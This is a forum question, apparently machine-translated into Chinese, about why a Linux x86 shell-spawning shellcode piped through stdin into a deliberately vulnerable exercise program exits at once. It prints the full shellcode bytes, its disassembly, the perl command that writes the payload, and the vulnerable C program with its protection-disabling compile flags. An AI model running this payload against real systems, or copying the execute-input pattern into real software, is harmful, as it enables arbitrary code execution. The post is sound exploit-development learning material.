我將序言說我做了研究,但找不到我的基本問題的答案。從shellcode發起的shell立即停止啓動
我想通過基本程序從shellcode啓動一個shell。 這是使用的shellcode,那現在應該工作:
0: 31 c0 xor eax, eax
2: 50 push eax
3: 68 2f 2f 73 68 push 0x68732f2f
8: 68 2f 62 69 6e push 0x6e69622f
d: 89 e3 mov ebx, esp
f: 50 push eax
10: 53 push ebx
11: 89 e1 mov ecx, esp
13: b0 0b mov al, 0xb
15: 31 d2 xor edx, edx
17: cd 80 int 0x80
奇怪的是這個shellcode的是,像這樣使用時的工作:
char *shellcode = "\x31[...]x80";
int main(void)
{
(*(void(*)()) shellcode)();
return 0;
}
但不能與該程序從標準輸入讀取時(編譯以下標誌:
gcc vuln.c -o vuln -fno-stack-protector -m32 -z execstack):
代碼:
#include [...]
typedef void (*func)(void);
int main(void)
{
char input[4096];
read(0, input, 4096);
((func)&input)();
return 0;
}
第二個程序會發生什麼情況,程序只是退出,沒有錯誤代碼,也沒有生成shell。
strace的顯示我在第二個程序,一個shell正確啓動:
read(0, "1\300Ph//shh/bin\211\343PS\211\341\260\v1\322\315\200", 4096) = 26
execve("/bin//sh", ["/bin//sh"], NULL) = 0
strace: [ Process PID=3139 runs in 64 bit mode. ]
但此行接近尾聲是非常可疑,因爲我沒有要求做任何事:
read(0, "", 8192) = 0
看來,我發送一個空字節以某種方式生成的shell,它殺死了它。我第一次,雖然說我沒有正確設置我的shellcode的文件,但這些都是我用命令:
perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\x31\xd2\xcd\x80"' > payload.bin
./vuln < payload.bin
我也是用這個命令嘗試,但得到了同樣的結果:
perl -e 'print "[...]" | ./vuln
我還檢查了文件中的字符,但文件重量爲25 oct。對於相同大小的shellcode,所以這不應該是問題。
我使用正確的方式給stdin提供shellcode還是有另一種方式? 如果不是,問題從哪裏來?
感謝
我忘了在編譯第二個代碼時使用的標記,它們與鏈接文章中的標記相同。另外,第二個程序在關閉它之前似乎啓動了一個shell,因爲從stdin讀取了空字符,所以如果我沒有錯誤(也禁用ASLR),執行預防不應該成爲問題。 – mat
我改變了我的答案。 – Barmar
感謝您的回答!但我確實有一個問題:我試圖產生一個shell的程序是一個練習,不能改變:p所以我嘗試使用esle而不是重定向stdin:cat payload | ./vuln。然而,這在我的情況下不起作用,我也不知道如何用gdb/strace調試它來查看發生了什麼。我嘗試瞭解決方案給我這個線程https://stackoverflow.com/q/1456253/8797854但我仍然遇到同樣的問題。任何想法 ? – mat